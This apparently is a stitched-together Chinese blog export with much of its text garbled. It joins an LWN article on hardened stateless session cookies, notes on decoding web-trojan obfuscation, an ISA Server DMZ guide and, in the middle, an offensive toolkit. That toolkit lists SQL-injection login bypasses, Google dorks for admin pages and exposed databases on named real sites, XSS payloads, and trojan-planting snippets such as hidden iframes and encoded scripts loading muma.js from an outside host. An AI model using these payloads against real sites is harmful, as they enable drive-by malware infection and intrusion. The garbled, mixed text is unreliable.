??xml version="1.0" encoding="utf-8" standalone="yes"?>
By Jake Edge
May 21, 2008
Two weeks ago on this page, we reported on some Wordpress vulnerabilities that were caused by incorrectly generating authentication cookies. The article was a bit light on details about such cookies, so this follow-up hopes to remedy that. In addition, Steven Murdoch, who discovered both of the holes, recently presented a paper on a new cookie technique that provides some additional safeguards over other schemes.
两周前在此页上,我们报道了由不正生成的w䆾验证 cookies 引v的一?Wordpress 漏洞。那文档对q些 cookies 的细节描q略,q篇后箋的文章希望能解决q个问题。另外,发现q些漏洞?Steven MurdochQ最q发表了关于一U新?cookie 技术的文章Q文章提供了其他Ҏ之`上`的一些额外保护措施?br />
HTTP is a stateless protocol which means that any application that wishes to track multiple requests as a single session must provide its own way to link those requests. This is typically done through cookies, which are opaque blobs of data that are stored by browsers. Cookies are sent to the browser as part of an HTTP response, usually after some kind of authentication is successful. The browser associates the cookie with the URL of the site so that it can send the cookie value back to the server on each subsequent request.
HTTP 是一U无状态的协议Q这意味着M希望跟踪多个h作ؓ单个会话的应用程序,必须提供自己的方式来链接q些h。这通常通过 cookies 来完成,cookies 是浏览器存储的不透明的数据块。通常Q在某种w䆾认证成功后,cookies 被作Z?HTTP 响应的一部分发送给览器。浏览器?cookie 和对应网站的 URL 兌hQ以便它可以在每个后l请求中回?cookie 值到服务器?br />
Servers can then use the value as a key into some kind of persistent storage so that all requests that contain that cookie value are treated as belonging to a particular session. In particular, it represents that the user associated with that session has correctly authenticated. The cookie lasts until it expires or is deleted by the user. When that happens, the user must re-authenticate to get a new cookie which also starts a new session. Users find this annoying if it happens too frequently, so expirations are often quite long.
然后Q服务器可以`用某U持久性存储的键`使用该|使得所有包含该 cookie 值的hQ被视ؓ属于同一个特定会话。特别是Q它代表和该会话兌的那个已l正通过w䆾验证的用戗一?cookie 一直存在,直到q期或被用户删除。此Ӟ用户必须重新q行w䆾验证Q获取一个新 cookieQ同时开始一个新会话。如果它发生的过于频J,会让用户感到ghQ所以到期时间通常相当ѝ?br />
If the user explicitly logs out of the application, any server-side resources that are being used to store state information can be freed, but that is often not the case. Users will generally just close their browser (or tab) while still being logged in. It is also convenient for users to be allowed multiple concurrent sessions, generally from multiple computers, which will cause the number of sessions stored to be larger, perhaps much larger, than the number of users.
如果用户昑ּ地登出应用程序,M用来存储状态信息的服务器端资源会被释放Q但情况l常不是q样。用户通常只是关闭他们的浏览器Q或标签)Q当仍在d状态时。这也允许用h便地Q从不同的计机上用多个ƈ发会话。这导致存储更大的会话数量Q也许比用户数量大许多?br />
Applications could restrict the number of sessions allowed by a user, or ratchet the expiration value way down, but they typically do not for user convenience. This allows for a potential denial of service when an attacker creates so many sessions that the server runs out of persistent storage. For this reason, stateless session cookies [PDF][http://prisms.cs.umass.edu/~kevinfu/papers/webauth_tr.pdf] were created.
应用E序可以限制允许一个用户用的会话敎ͼ或者``Q但它们通常不方便用户用。这允许一个潜在的拒绝服务Q当一个攻击者创建太多会话,以至于服务器用完持久性存储时。出于这个原因,无状态会?cookies 被创建?br />
Stateless session cookies store all of the state information in the cookie itself, so that the server need not keep anything in the database, filesystem, or memory. The data in the cookie must be encoded in such a way that they cannot be forged, otherwise attackers could create cookies that allow them access they should not have. This is essentially where Wordpress went wrong. By not implementing stateless session cookies correctly, a valid cookie for one user could be modified into a valid cookie for a different user.
无状态会?cookies 把所有状态信息存储到 cookie 本nQ服务器不需要在数据库、文件系l或内存中保存Q何信息。Cookie 中的数据必须以不能被伪造的方式~码Q否则攻击者可以创建允总们访问不应该讉K内容?cookies 。实际上q就?Wordpress 出问题的地方。由于没有正用无状态会?cookies Q一个用L有效 cookie 可以被修Ҏ另一个不同用L有效 cookie ?br />
A stateless session cookie has the state data and expiration "in the clear" followed by a secure hash (SHA-256 for example) of those same values along with a key known only by the server. When the server receives the cookie value, it can calculate the hash and if it matches, proceed to use the state information. Because the secret is not known, an attacker cannot create their own cookies with values of their choosing.
一个无状态的会话 cookie 有状态数据和明确的到期时_后跟一个安全哈希|例如 SHA-256Q,该哈希值和只有服务器知道的一个键`对应`。当服务器接收到 cookie |会计哈希|如果匚wQl用其中的状态信息。由于这个密钥是未知的,d者不能用他们选择的值创q cookies ?br />
The other side of that coin is that an attacker can create spoofed cookies if they know the secret. Murdoch wanted to extend the concept such that even getting access to the secret, through a SQL injection or other web application flaw, would not feasibly allow an attacker to create a spoofed cookie. The result is hardened stateless session cookies [PDF][http://www.cl.cam.ac.uk/~sjm217/papers/protocols08cookies.pdf].
币的另一面是Q如果攻击者知道密钥,可以创徏ƺ骗性的 cookies 。Murdoch 希望扩展概念Q得通过 SQL 注入或其?web 应用漏洞讉K密钥后,d者也无法创徏一个欺骗性的 cookie。结果就是强化的无状态会?cookies ?br />
The basic idea behind the scheme is to add an additional field to stateless session cookies that corresponds to an authenticator generated when an account is first set up. This authenticator is generated from the password at account creation by iteratively calculating the cryptographic hash of the password and a long salt value.
该方案背后的基本思\是,l无状态会?cookie 增加一个额外的字段Q这个字D和账户首次讄时生成的一个`w䆾验证器`对应。n份验证器由创̎h的密码生成,生成Ҏ是,q代计算密码的加密哈希和一个长 salt 倹{?br />
Salt is a random string—usually just a few characters long—that is added to a password before it gets hashed, then stored with the password in the clear. It is used to eliminate the use of rainbow tables to crack passwords. Hardened stateless session cookies use a 128-bit salt value, then repeatedly calculate HASH(prev|salt), where prev is the password the first time through and the hash value from the previous calculation on each subsequent iteration.
Salt 是一个随机字W串——通常只有几个字符?#8212;—它在被计哈希值前d到密码中Q然后以明文形式和密码一起存储。它是用来杜l用彩虹表破解密码的。`化`的无状态会?cookies 使用128?salt |然后q代计算 HASH(prev|salt) Q?其中 prev 在第一ơP代时是密码,在以后每ơP代中是上ơ计的 hash 倹{?br />
The number of iterations is large, 256 for example, but not a secret. Once that value is calculated, it is hashed one last time, without the salt, and then stored in the user table as the authenticator. When the cookie value is created after a successful authentication, only the output of the iterative hash itself is placed in the cookie, not the authenticator that is stored in the database. Cookie verification then must do the standard stateless session cookie hash verification, to ensure that the values have not been manipulated, then hash the value in the cookie to verify against authenticator in the database.
q代ơ数是个大的|例如256Q但q不是保密的。D计算出来后,再不使用 salt 哈希一ơ,然后作ؓw䆾验证器存储到用户表中。当 cookie 通过一ơ成功认证被创徏后,只有输出的P代哈希D保存?cookie 中,而不保存数据库中的n份验证器。Cookie 验证必须q行标准的无状态会?cookie 哈希验证Q来保值没有被修改q,然后哈希 cookie 中的值和数据库中的n份验证器Ҏ?br />
If it sounds complicated, it is; the performance of doing 256 hashes is also an issue, but it does protect against the secret key being lost. Because an attacker cannot calculate a valid authenticator value to put in the cookie (doing so would require breaking SHA-256), they cannot create their own spoofed cookies.
如果q听h很复杂,实Q进?56ơ哈希的性能也是一个问题,但它实能避免密钥丢失。因为攻击者无法计一个有效的用户验证器放q?cookie 中(q样做需要突?SHA-256Q,所以他们不能创qƺ骗 cookie ?br />
While it is not clear that the overhead of all of these hash calculations is warranted, it is an interesting extension to the stateless session cookie scheme. In his paper, Murdoch mentions some variations that could be used to further increase the security of the technique.
目前不清楚所有这些哈希计的开销是否有必要,q是一个扩展无状态会?cookie 的有方案。在他的文章中,Murdoch 提到了一些可以进一步提高该技术安全性的变化?br />
---
后面没看明白?br />无状态会?cookie 中的密钥可能被攻击者获取,authenticator Z么不能被d者获取?获取q两个东西的隑ֺ有区别么Q?br />
---
TODO
| hash salt
| 彩虹?/div>
]]>
http://bbs.ikaka.com/showforum-20039.aspx
http://bbs.kafan.cn/forum-105-1.html
]]>
======================
==================
Document.write
解密Ҏ之alertҎQ将|马代码中的document.write替换为alert?br>eg.弹出对话?lt;script src=3.css></script>
此代码_脓至freshow上操作区域,点击filter按钮Q数据收集区3.css木马|址?br> 点击3.cssQ进行check链接获取|页源代码?br> 解密选项自然选择alpha2Q点击decodeq行解密
点击UP按钮Q将W一ơ解密的l果上翻至上操作区域q行W二ơ解密,解密选项选择escQ获得网马下载地址
点击insert按钮Q将解密出的|马地址插入数据攉?br> 点击all按钮全选,再点击log按钮Q将解密出日志格式化输出?br>
==================
Alpha2
该加密方式特征,代码开?TYIIIIIIIIIIIIIIII
解密ҎQ一ơAlpha2解密Q一ơesc解密
==================
shellcode
Shellcode|马特征Q以相同分隔W(一般ؓ%uQ分隔的4位一l的十六q制字符丌Ӏ?br>解密ҎQ?br>-对于直接使用%u来分隔的shellcodeQ通过两次esc可以直接解密出网马地址?br>-对于通过cshellcode形式加密的网马,可以通过代码进行适当处理Q将代码替换为分隔符%uQ,再进行两ơesc解密
==================
Base64
Base64加密原理Q?摘自聪大牛的博?
把每三个字符Q共24?q制的ASCII码,折分成连l??位的ASCII码,再在每个ASCII码前面补00变成8位, 最后对应一个码表来变成~码字符Q?br>
码表为(??3分别依次对应Q:
0对应A………………………………………………………………………………63对应/
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
如果最后不?位数Q则?Q这时后面对应的~码?#8220;=”
例:原文Q?nbsp; a b c
ASCII码: 01100001 | 01100010 | 01100011
分成4个: 011000 | 010110 | 001001 | 100011
补位数Q?00011000 | 00010110 | 00001001 | 00100011
数值大: 24 22 9 35
对应~码Q?nbsp; Y W J j
~码l果Q?nbsp; YWJj
如果只有ab两个字符Q则W三个字W用?来代替,q时l果为YWI=
其实按照法Q?对应的编码其实也可以认ؓ是ؓ0Q所以QQ==和QQAA用来解密的话Q都是AQ但是后面补0时用“=”是加密算法自q讄Q所以加密结果只能是QQ==而不会是QQAA
知道了加密原理,解密原理反光而行之就行了Q呵?#8230;…
-----------------
加密特征Q?br>
大小写字母及数字hQ末֏能包含等?br>------------------
Base64解密ҎQ?br>
我们q是以一个实例来单讲解base64解密ҎQ在实际的网马解密中Q这U加密方式很见。今天我们提供一U解密的ҎQ在q里用到的解密工具ؓQnotepad++ q个软g(附g为notepad++)。后l我们还会讲解用一些其他的解密工具来解密base64?br>
======================
US-ASCII
加密特征Q代码类似汉字,且代码中包含?lt;meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
解密ҎQ用freshow工具解密Ӟ解密选项选择US-ASCII,直接一ơdecode卛_
=====================
eval
解密ҎQmalzilla->Decode->Run script
=====================
swf
Flash|马介:flash|马是利用Adobe Flash Player播放器严重安全漏z, d者可以通过_ֿ设计的特DSWF文g实施d。浏览这些特D构造的SWF文gQ会q行d者设定的L代码?br>
Flash|马解密ҎQ今天我们主要来讲解如何利用(HTMLDecoder)工具Q对flash|马q行解密。此工具由小大牛开发的一ƾ自动网马解密工P内附有flash|马解密功能Q在q里宣传一下小大牛哈。工具下载见附gQ本ơ讲解不提供具体的swf文g下蝲Q防止一些网友不明,胡ؕq行Dpȝ中毒。主要讲解对于flash|马如何解密的方?
功能-执行QA>PDF/CWS/Zlib Extractor
======================
PDF
pdf漏洞介:PDF是由“Adobe Acrobat”制作的,它存在一个攻Lz——可以在PDF文中,利用“Adobe Acrobat”提供的Javascript脚本功能Q执行Q意攻d令?br>解密ҎQpdf|马和swf|马一P解密工具都是可以使用htmldecoder工具Q解密方法和|马解密高?SWF解密)一栗今天讲解的q个pdf|马Q可以直接用freshowq个工具来解密,因ؓq个pdf包含的shellcode直接可以通过C本看到。小技巧:对于pdf或swf格式的文件我们可以通过C本的方式打开Q直接查看文件的源代码,你会有惊奇的发现Q尤其是|马解密Q里面说不定有你要的网马地址呢,呵呵。本ơ讲解同样不提供pdf文g的下载,以免不明|友Q下载后q行而导致系l中招?br>
.pdf源文件中复制出来的shellcode代码--带密钥的shellcode--FreShow
]]>
*常见模式
**/
'or'='or'
a'or'1=1--
'or 1=1--
"or 1=1--
or 1=1--
'or'a'='a
"or"a'='a
"or"a'='a
')or('a'='a
/**
*后台文g常见文g?br>**/
admin
ad_login
ad_manage
addmember
adduser
adm_login
admin/admin
admin/admin_login
admin/index
admin/manage
adimin_admin
admin_edit
admin_index
admin_Login
login/...
...
/**
*关键?br>**/
密码、用户名、后台̎受会员、会员ID、username、password。。?/p>
/**
*例子
**/
intext:用户?inurl:admin/login.asp
/**
*入R
**/
l对的\?输入保存的\?输入文g的内?inurl:diy.asp
inurl:asp?id=
inurl:php?id= site:sohu.com
to parent directory inurl:inetpub
to parent directory mdb -google
///eg
//filetype:mdb
http://proisk.ru/Northwind.mdb
//to parent directory mdb site:edu.cn
http://netcourse.cug.edu.cn:7310/cug/fire_control/INC/_VTI_CNF/
http://netcourse.cug.edu.cn:7310
//to parent directory "conn.asp" site:edu.cn
http://www.tijmu.edu.cn/cn/dxzhx/new/admin/
//inurl:/inc+conn.asp
------
/**
*防范-----robot.txt
**/
intext:"User-agent:*" inurl:robot.txt
intext:"Mediapartners-Google" inurl:"robots.txt"
intext:"Disallow:" inurl:robots.txt
intext:"Allow:" inurl"robots.txt"
/**
*常用
**/
allinurl:bbs data
filetype:mdb inurl:database/data
filetype:inc conn
intitile:"index of" data/sh_history/bash_history/passwd
[6] " style="background:url(javascript:alert('Watchfire XSS Test Successful'))" OA="
[7] --><script>alert('Watchfire XSS Test Successful')</script>
[8] '+alert('Watchfire XSS Test Successful')+'
[9] "+alert('Watchfire XSS Test Successful')+"
[10] >'><%00script>alert('Watchfire XSS Test Successful')</script> (.NET 1.1 specific variant)
[11] >"><%00script>alert("Watchfire XSS Test Successful")</script> (.NET 1.1 specific variant)
[12] >+ACI-+AD4-+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-
[13] %A7%A2%BE%Bc%F3%E3%F2%E9%F0%F4%Be%E1%Ec%E5%F2%F4%A8%A7Watchfire%20XSS%20Test%20Successful%A7%A9%Bc%Af%F3%E3%F2%E9%F0%F4%Be
///-------------------------------------
exec('Updata ['+@t+'] set ['+@c+'] = rtrim(convert(varchar,['+#c+']))') ???
cast("></title><script> src=http://www.xxx.com/xx.js</script><!-- as varchar(67))')f
?js文g挂马
首先以下代?br>document.write("<iframe width=0 height=0 src=地址></iframe>");
保存为xxx.jsQ?br>则JS挂马代码?br><script language=javascript src=xxx.js></script>
?js变Ş加密
<SCRIPT language="JScript.Encode" src=http://www.upx.com.cn/muma.txt></script>
muma.txt可改成Q意后~
?body挂马
<body onload="window.location=地址;"></body>
?隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + rn<iframe src=">;
?css中挂?br>body {
background-image: url(javascript:document.write("<script src=http://www.upx.com.cn/muma.js></script>"))}
?JAJA挂马
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
?囄伪装
<html>
<iframe src="|马地址" height=0 width=0></iframe>
<img src="囄地址"></center>
</html>
?伪装调用Q?br><frameset rows="444,0" cols="*">
<frame src="打开|页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="|马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
十一:判断pȝ代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>
十二:判断是否有ms06014代码
<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
十三:djs的代码demo
//dsrc的对?br>var v = document.getElementById("advjs");
//dsrc的参?br>var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute(src));
document.write("<iframe src="document.writeln("<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">"); //分析src的参数函?br>function getUrlParameterAdv(asName,lsURL){ loU = lsURL.split("?"); var loallPm = loU[1].split("&"); for (var i=0; i<loallPm.length; i++){
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content="text/html; charset=big5">");
document.writeln("<META content="MSHTML 6.00.2900.3059" name=GENERATOR></HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style="CURSOR: url(document.writeln("style="CURSOR: url(
if (loU.length>1){
var loPm = loallPm[i].split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
}
]]>
首先Q我们谈谈ؓ何要部vDMZ区域Q也是说一旦部|了DMZQ他对你的网l生什么样的积极作用。有些企业可能从ISP甌了一个地址D늚IPQ但是往往出现q些IP不能有效的利用,构徏了DMZ区域后,q些IP可以灉|的分配到DMZ上的L。此外,从DMZ区域到Internet动的数据包是被路由的,而不是被NATQ从ISA处理数据包的效率角度Ԍ前者要优于后者?br> 现在Q我们来看看要部|DMZ需要哪些条?br> - ISA需要有臛_3个网l接口卡
- ISA Server是做为防火墙模式或者集成模式安装的Q可以是单机模式也可以是阵列模式
- 在IP PACKET Filter的全局讄中,必须启用Enable IP Routing
- ISP分配了一个地址D늚IPl你的公?br> - 配置在ISA外部接口的IP的子|掩码不能与DMZ区域的子|掩码相?/p>
在这文章里Q笔者以一个模拟的真实环境来描qDMZQ试验的拓扑如图1所C?br>
(?)
我们假设Q你的公总ISP购买了一个CcȝIPD,172.16.1.0/24。我们将172.16.1.33分配lISA的外部接口。把172.16.1.64/26?72.16.1.0/24划分出来分配lDMZ区域。注意,DMZ区域和ISA外部接口q接的区域是不同的逻辑|络。一个常见的错误是把DMZ区域和ISA外部接口规划在一个IP逻辑|络里。记住,从DMZ和外部网l的通讯角度ԌISA扮演一个有qo功能的\由器Q而不是网桥,q也是ؓ什么必需要启用Enable IP Routing的原因?/p>
ISA Server的网l接口配|如?/p>
Internal NIC
IP:192.168.100.20/24
Defaul Gateway(DG):None
DNS:192.168.100.100
DMZ NIC
IP:192.168.100.65/26
DG:None
DNS:None
External NIC
IP:172.16.1.33/24
DG:172.16.254
DNS:10.10.10.10
DMZ上的L的网l接口配|?br> IP:172.16.1.66-126/26
DG:172.16.1.65
DNS:None
内部|络QInternalQ上的计机
IP:192.168.100.x/24
DG:192.168.100.20
DNS:192.168.100.100
L别注意以上的配置。对于ISA来讲Q缺省网关一定要配置在外部接口,原因很简单,一个去往未知IP的数据包Q目标一定位于Internet上,如果q个IP是在你的公司内部|络Q那么你的网l中的\p|肯定存在问题。既然是dInternet上的QISA必须可以这个数据包从外部接口上送出去,所以缺省网关一定要配置在外部接口上。如果你的其他接口也配置的缺省网养I那么׃定会出现问题Q因为默认情况下Q各个网l接口上配置的缺省网关的Metric都是1Q所以去往未知IP的数据包Q就会从所有配|了~省|关的网卡送出Q也是负蝲均衡Q但是另一个不应该配置~省|关的网卡不能将数据包成功的送到目的IPQ所以导致丢包,甚至无法通讯。内部接口的DNS指向公司内部的DNS服务器。外部接口的DNS指向一个可以解析Internet上所有域名的DNS服务器,q一点很重要Q别忘了ISA要代理Web Proxy Client和FWCq行DNS解析。DMZ接口上,我们q没有配|DNSQ当然你也可以配|。对于DMZ区域上的LQ我们把|关指向ISA的DMZ|络接口Q因为DMZ区域上的L需要与Internet通讯Q确切的讲是被Internet用户讉KQ而ISA是Internet出口的持有者。DNS指向我们也没有在DMZ上的L配置Q因为DMZ应该是一个无人区Q也是说DMZ上应该是一个服务器农场Q而不是被用户使用Q浏览Internet的计机Q所以它没有必要配置DNSQ除非某台服务器q行的服务必M赖与DNS。内部网l的L讄不是此文讨论的重点,所以在q里不展开讨论?br> 另外Q如果你对\由非怺解,从上边给出的ISA的网l接口配|看Q你马上会发C个问题。ISA外网接口q接172.16.1.0/24|段、而DMZ区域?72.16.1.64/26|段。我们假设这两个|段的物理介质是以太|标准,?72.16.1.64/26|段中的某个L发v?72.16.1.0/24|段中某C机通讯Ӟ不妨假设172.16.1.69/26?72.16.1.254/24通讯Q对?72.16.1.69/26Q它认ؓ172.16.1.254/24和自׃同属一个逻辑|段Q所以它知道要把d172.16.1.254/24的数据包发送给自己的网?72.16.1.65/26Q由?72.16.1.69/26?72.16.1.65/26在一个广播域Q所以ARP解析不会出现问题。但是反q来Q当172.16.1.254/24要\由或者始发一个数据包?72.16.1.69/26Ӟ问题出C。对?72.16.1.254/24来讲Q它认ؓ172.16.1.69和自己在一个逻辑|段Q所以这个数据包应该是直接发送到172.16.1.69/26Q因此它׃ARP解析172.16.1.69/26的MAC地址Q然而它们ƈ不在同一个广播域Q所以这个ARP解析得不到答案,因此q个数据包就无法发送,然而,如果172.16.1.254/24可以成功的把d172.16.1.69/26的数据包发送给172.16.1.33/24Q也是ISA ServerQ则q个数据包就可以被最l送往172.16.1.69/26。要解决q个问题Q我们应该从两个斚w出发。如果ISA Serverq接ISP的链路层协议是通过q播技术寻址的,则解决的Ҏ?U,一是,与你的ISP联系Q得和ISA相连的\由器中有一条明的?72.16.1.64/26|络下一跳ؓ172.16.1.33/24的\由;二是Q在ISA上实施一U对于链路层d的欺骗手D,例如Q以太网的链路层d是通过ARP协议Q所以你的ISA计算Z必须可以实现Proxy ARP功能Q得ISA计算机可以以自己外网接口的MAC地址回应?72.16.1.64/26|络中主机的ARP查询Q三是,?72.16.1.0/24?72.16.1.64/26|络规划C个广播域之中Q如果采用这U方法,h意ISA只能?#8220;半过?#8221;来保护DMZ区域Q但是这U保护也是有效的。换句浅显易懂的话说Q从外网到DMZ区域的数据包是直接发送的Q但是从DMZ区域到外|的数据包是l由ISA Server送出到外|的。如果,ISA Serverq接ISP的链路层协议是点对点的,那么你不用做M事情Q因为只要是d172.16.1.x的数据包Q不论子|掩码是24位还?6位还?7位,数据包都会正无误的发送到你的ISA Server的外|接口。在W者的试环境中,ISA和ISP的\由器之间的链路层协议是以太网Q笔者对q个路由器有理权力Q所以采用了在\由器上添加\qҎ解决上述问题?/p>
请在你安装ISA Server之前Q将q些配置讄好。一旦安装好ISA ServerQ在ISA计算Zd或者删除网卡可能会引v意想不到的错误。此外,最好在安装好ISA Server后,不要修改IP的配|,如果你不得不q样做,请遵循以下步骤:
1Q?在命令行中输入net stop mspfltex
2Q?在命令行中输入net stop gksvc
3Q?在命令行中输入net stop IPNAT
4Q?修改相应|卡的IP讄
5Q?在命令行中输入net start mspfltex
6Q?在命令行中输入net start IPNAT
7Q?在命令行中输入net start isactrl
8Q?在命令行中输入net start “Microsoft Web Proxy”
9Q?在命令行中输入net start “Microsoft Firewall”
10Q在命o行中输入net start “Microsoft Scheduled Cache Content Download”
Z验证|络层的q通性,我们通常会用Ping工具。Ping工具实际上是ICMP协议的一U应用实例。ؓ了实现目的,你需要对ICMP协议有一些了解。当一C机Ping一个远端计机Ӟ会以ICMP协议 cd8 代码0Q也是通常所说的ICMP Ping Query或者是ICMP Ping RequestQ封装一个数据包发送出去,当远端计机收到q个数据包后Q会以ICMP 协议cd0代码0装QICMP Ping ReplyQ回应的数据包发送给源端。ؓ了DMZ上的L可以Ping通Internet上的LQ你需要允许DMZL发送的ICMP Ping Query能够被ISA Server发送到Internet上,反过来,要允许ICMP Ping Replyq入到DMZ区域。这需要你在IP PACKET FILTER中徏?个封包过滤,具体内容如图2Q图9?br>
完成之后Q等待一会儿以便新徏的封包过滤生效,也可以重新启动一下Firewall Service服务。之后验证DMZ的主机是否可以Ping通Internet上的LQ也是我们模拟?0.10.10.10那台计算机)。没有问题,DMZ和Internet的网l层实hq通性,但是反过?0.10.10.10却无法Ping通DMZ上的LQ也许这恰y是你的愿望。如果你希望Internet的主机可以Ping通DMZ的主机,也很单,只要把刚才徏立的2个封包过滤的Direction 讄为Both卛_Q原理不再冗q。讲到这里,如果你希望Internet上的计算机可以Ping通你的ISA Server的外部接口,׃变得极其单,W者也׃必浪费笔墨。值得注意的是你不需要添?个封包过滤,而是1个,如果你注意到IP PACKET FILTER中,已经有默认的名ؓICMP outbound的封包过滤就不难理解Q这个封包过滤允许ICMP 所有类型和代码的数据包从ISA的外部接口送出Q也是说你只需入的ICMP Ping Query讄一个允许的包qo卛_。如果你想了解ICMP协议的更多细节,可以参考TechNet CD或者微软帮助站点中的Q170292文档?/p>
在验证了DMZ区域和Internet的网l层q通性后Q我们要立刻切入正题Q实现对DMZ区域的应用。我们的目的是要使得DMZ区域的各U服务能够被Internet上的用户讉K。你可以Web服务、FTP服务、邮件服务等{部|在DMZ区域Q从而提供Internet用户的访问。笔者D3个典型的例子来说明ISA如何发布DMZ区域的服务器?/p>
发布DMZ区域的Web服务
1. 首先Q设|好DMZ区域的Web 服务器,默认情况下它应该?0端口监听Webh,如图10。设|完成后Q请利用netstat 工具查看Web服务器是否在0.0.0.0上监?0端口Q笔者假设你没有用SocketPoolingQ?br> 2. 在ISA Server上利用IP PACKET FILTERWeb服务发布。其实说发布有些q于牵强QISA实际上是一个具有过滤功能的路由器,所以我们只是允许来自Internet用户的Webh可以q入到DMZ上的Web服务器。设|的内容如图11Q图14所C?br> 3. 在Internet上的计算机验证是否可以正访问位于DMZ区域的Web服务器。可以看到我们可以正的讉KWeb面Q正如图15昄的那栗在验证之前Q你应该{待一会儿以刚刚建立的封包过滤生效,或者重新启动Firewall Service服务?br>
完成了,上边的设|后Q不仅Internet上的用户可以讉Kq台Web服务器,ISA Serverq接的内部网l中的用户也可以讉KQ因为我们在?4中的Remote Computer中选择的是All Remote Computers?br>
发布DMZ区域的FTP服务
׃FTP有两U工作模式,PORT和PASV模式Q具体区别详见本刊杂?002q第九期《浅析FTP工作原理》?/strong>
发布PORT模式的FTP的步骤如?br> 1Q设|好DMZ区域的FTP服务器,使其?1端口上监听。如?6。当然你也可以用其他端口,只不q要在配|IP PACKET FILTER时要做相应的调整?br> 2Q不论哪U模式的FTPQ都需要允许远端用戯接FTP服务?1端口的进入请求,所以需要ؓ此徏立一个封包过滤,具体讄如图17Q图20?br> 3QؓFTP的数据通道的徏立设|一个封包过滤。由于PORT模式的数据通道的徏立请求是由FTP服务器主动发LQ所以封包过滤的direction 应该是Outbound而不是Inbound。具体的讄如图21Q图22?/p>
发布PASV模式的FTP的步骤如?br> 1Q设|FTP服务器在21端口监听Q如上边所q?br> 2Q由于PASV模式的所有连接都是有FTP客户端发LQƈ且用的端口q不是固定的Q因此只需要一?#8220;非安?#8221;的封包过滤即可完成PASV模式的FTP服务器发布。如?3Q图26?/p>
完成FTP的发布后Q我们在Internet上的FTP客户端验证是否可以正的以PORT和PASV模式q接C于DMZ的FTP服务器,可以看到Q如?7和图28Q连接成功。在发布PASV模式的FTP服务器时Q我们设|了一个安全性较差的包qoQ但是这也是发布位于DMZ区域的PASV模式FTP的无奈之举。因为我们知道FTP的数据通道使用的端口是动态的Q而且动态的范围我们不易控制Q特别是使用微YIIS中提供的FTP服务Q我们根本无法控制。不q你可以选择另一ƾFTP服务器端软gQServU。这个服务器端Y件可以控制PASV模式建立数据通道时用的端口范围Q通过讄q个端口范围我们可以控制本地FTP数据通道使用的端口,但是相应的,在IP PACKET FILTER中的讄也会ȝ许多Q你要ؓq个端口范围中包含的所有端口都讄一个进入的包qo。如果你对安全性很重视Q这个一x怽是绝寚w烦的工作q是有必要的。笔者认为,FTP服务器部|在DMZ区域也许q不是一个明Z举,除非你可以承受这台FTP服务器可以受到攻ȝ事实Q或者你攑ּ使用PASV模式的FTP。然而,FTP服务器部|在内部|络Q可以在保证安全性的前提下(甚至是加强安全性)减轻许多工作Q因为动态端口的问题你不必劳,FTP Application Filter和MS Proxy Protocol可以很好的ؓ你解冻I有关在内部网l部|FTP服务器的问题请参考《用ISA Server发布非标准端口的FTP服务器》以及《用ISA Server 2000发布内部|络的IIS FTP 服务器》?br>
此外Q如果你军_为在DMZ区域部v的FTP讄那个“非安?#8221;包qoQ笔者有必要做一些安全警告:你的q台FTP服务器完全暴露给Internet上的所有用PMInternet用户可以q接q台服务器的L端口。ISA Server唯一可以做的是利用IP PACKET FILTER中的全局配置QInstruction Detection Qؓq台FTP服务器做一些保护。在q种情况下,你可以在FTP服务器上Q安装一Ƒ֍机版的防火墙软g来加强对q台服务器的保护Q这U保护是实有效的,但是相应的也会增加成本。笔者推荐以下几Ƒ֍机版防火墙YӞNorton Internet Security、BlackICE、ZoneAlarm、天|防火墙?
下边Q笔者介l一个很有意思的发布DMZ区域的Mail Relay Server的案例。在很多企业中,邮g服务是非帔R要的Q所以要有一U可行的措施有效的保护企业内部的邮g服务器不被攻凅R如果这个邮件服务器必须被O游的用户使用Q那么这台邮件服务器必d以通过Internet被访问,q样面临两U选择Q一是把邮g服务器部|在内部|络Q然后通过ISA发布出去Q另一U是把邮件服务器部v在DMZ区域利用IP PACKET FILTER发布。我们可以综合一下以上两U方案的安全和性能的^衡点Q把邮g服务器部|在内部|络Q在DMZ区域部v一台邮件{发服务器Q通过ISA只发布位于DMZ区域的邮件{发服务器Q这样不仅可以有效的保护邮gpȝ的真实宿M被攻击,因ؓ你发布的只是一个邮件{发服务器Q同时也能够利用邮g转发服务器和ISA的SMTP Filter实施分的邮件过滤?/p>
完成q个发布工作我们需要做以下几g事情
- 在企业内部部|Exchange Server 2000Q本文不讨论Q?br> - 在DMZ区域部v邮g转发服务?br> - 发布内部|络的邮件服务器lDMZ区域的邮件{发服务器
- 利用IP PACKET Filter发布邮g转发服务?/p>
